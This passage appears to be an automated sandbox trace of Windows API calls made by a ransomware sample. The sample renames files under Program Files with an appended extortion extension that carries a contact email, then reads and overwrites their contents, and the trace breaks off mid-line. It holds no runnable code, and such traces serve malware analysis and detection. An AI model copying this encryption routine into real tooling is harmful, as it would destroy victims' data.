[0227.326] CloseHandle (hObject=0x678) returned 1 [0227.326] GetProcessHeap () returned 0x630000 [0227.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0227.326] GetProcessHeap () returned 0x630000 [0227.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0227.326] GetProcessHeap () returned 0x630000 [0227.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176368 | out: hHeap=0x630000) returned 1 [0227.326] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7284f4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x195, dwReserved0=0x3e3fd20, dwReserved1=0x6e2500, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5340 [0227.326] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0227.326] Sleep (dwMilliseconds=0x1) [0229.335] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x3e3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgradeth2.xml") returned 1 [0229.335] GetProcessHeap () returned 0x630000 [0229.335] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50f8) returned 0x6fe3bb0 [0229.335] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0229.335] CloseHandle (hObject=0x640) returned 1 [0229.336] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0229.336] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0229.337] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.337] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x195, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f40 [0229.337] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0229.337] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pl-pl\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0229.337] GetProcessHeap () returned 0x630000 [0229.337] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4528 [0229.337] GetProcessHeap () returned 0x630000 [0229.337] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3ad8 [0229.337] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.337] ReadFile (in: hFile=0x640, lpBuffer=0x6f4528, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4528*, lpNumberOfBytesRead=0x3e3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0229.340] GetProcessHeap () returned 0x630000 [0229.340] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177948 [0229.340] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.340] WriteFile (in: hFile=0x640, lpBuffer=0x6f3ad8*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3ad8*, lpNumberOfBytesWritten=0x3e3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0229.340] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.340] WriteFile (in: hFile=0x640, lpBuffer=0x6f3c57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3c57*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0229.340] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.340] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0229.340] CloseHandle (hObject=0x640) returned 1 [0229.340] GetProcessHeap () returned 0x630000 [0229.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3ad8 | out: hHeap=0x630000) returned 1 [0229.341] GetProcessHeap () returned 0x630000 [0229.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4528 | out: hHeap=0x630000) returned 1 [0229.341] GetProcessHeap () returned 0x630000 [0229.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177948 | out: hHeap=0x630000) returned 1 [0229.341] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4ea646d7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x3e3fd20, dwReserved1=0x6f4528, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f80 [0229.341] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0229.341] Sleep (dwMilliseconds=0x1) [0231.074] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\index.html", len=0x6f | out: pbstr=0x3e3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\index.html") returned 1 [0231.074] GetProcessHeap () returned 0x630000 [0231.074] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c0) returned 0x6fe3bb0 [0231.074] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0234.071] CloseHandle (hObject=0x6d4) returned 1 [0234.071] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0234.071] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.170] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5580 [0234.170] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0234.170] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0234.171] GetProcessHeap () returned 0x630000 [0234.171] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ba1) returned 0x7453008 [0234.171] GetProcessHeap () returned 0x630000 [0234.171] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ba1) returned 0x7247db0 [0234.171] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.171] ReadFile (in: hFile=0x6d4, lpBuffer=0x7453008, nNumberOfBytesToRead=0x9b80, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesRead=0x3e3ff0c*=0x9b80, lpOverlapped=0x0) returned 1 [0237.193] GetProcessHeap () returned 0x630000 [0237.193] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0237.194] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.194] WriteFile (in: hFile=0x6d4, lpBuffer=0x7247db0*, nNumberOfBytesToWrite=0x9b80, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesWritten=0x3e3ff0c*=0x9b80, lpOverlapped=0x0) returned 1 [0237.194] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.194] WriteFile (in: hFile=0x6d4, lpBuffer=0x725192f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x725192f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0237.194] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.194] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0237.195] CloseHandle (hObject=0x6d4) returned 1 [0237.195] GetProcessHeap () returned 0x630000 [0237.195] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0237.195] GetProcessHeap () returned 0x630000 [0237.195] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0237.195] GetProcessHeap () returned 0x630000 [0237.195] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0237.195] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0237.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5353ec90, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9bbc, dwReserved0=0xccc7496, dwReserved1=0x7453000, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5500 [0237.196] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0237.196] Sleep (dwMilliseconds=0x1) [0239.347] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400_contrast-black.png", len=0x80 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400_contrast-black.png") returned 1 [0239.347] GetProcessHeap () returned 0x630000 [0239.347] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5144) returned 0x6fe3bb0 [0239.347] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersplashscreen.scale-400_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.347] Sleep (dwMilliseconds=0x1) [0241.292] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\cursorXBOX_normal.png", len=0x77 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\cursorXBOX_normal.png") returned 1 [0241.292] GetProcessHeap () returned 0x630000 [0241.292] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x539c) returned 0x6fe3bb0 [0241.292] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\cursorXBOX_normal.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\resources\\cursorxbox_normal.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.316] Sleep (dwMilliseconds=0x1) [0241.347] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Scale.scale-100.png", len=0x72 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Scale.scale-100.png") returned 1 [0241.348] GetProcessHeap () returned 0x630000 [0241.349] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x537c) returned 0x6fe3bb0 [0241.349] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Scale.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\scale.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.353] Sleep (dwMilliseconds=0x1) [0241.363] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutMove.scale-100.png", len=0x79 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutMove.scale-100.png") returned 1 [0241.363] GetProcessHeap () returned 0x630000 [0241.363] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5360) returned 0x6fe3bb0 [0241.363] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutMove.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\planecutmove.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.366] Sleep (dwMilliseconds=0x1) [0241.387] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\move.scale-100.png", len=0x71 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\move.scale-100.png") returned 1 [0241.387] GetProcessHeap () returned 0x630000 [0241.387] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5344) returned 0x6fe3bb0 [0241.388] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\move.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\move.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.393] Sleep (dwMilliseconds=0x1) [0241.412] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\CenterView.scale-100.png", len=0x77 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\CenterView.scale-100.png") returned 1 [0241.412] GetProcessHeap () returned 0x630000 [0241.412] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5328) returned 0x6fe3bb0 [0241.412] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\CenterView.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\centerview.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.415] Sleep (dwMilliseconds=0x1) [0243.061] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\AboutLinks.json", len=0x6d | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\AboutLinks.json") returned 1 [0243.061] GetProcessHeap () returned 0x630000 [0243.061] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5474) returned 0x6fe3bb0 [0243.061] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\AboutLinks.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\aboutlinks.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.063] Sleep (dwMilliseconds=0x1) [0243.095] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.scale-100.png", len=0x8c | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.scale-100.png") returned 1 [0243.095] GetProcessHeap () returned 0x630000 [0243.095] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5400) returned 0x6fe3bb0 [0243.095] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\money_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.099] Sleep (dwMilliseconds=0x1) [0243.121] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-40.png", len=0x7f | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-40.png") returned 1 [0243.121] GetProcessHeap () returned 0x630000 [0243.121] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53bc) returned 0x6fe3bb0 [0243.121] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-40.png" (normalized: "c:\\program 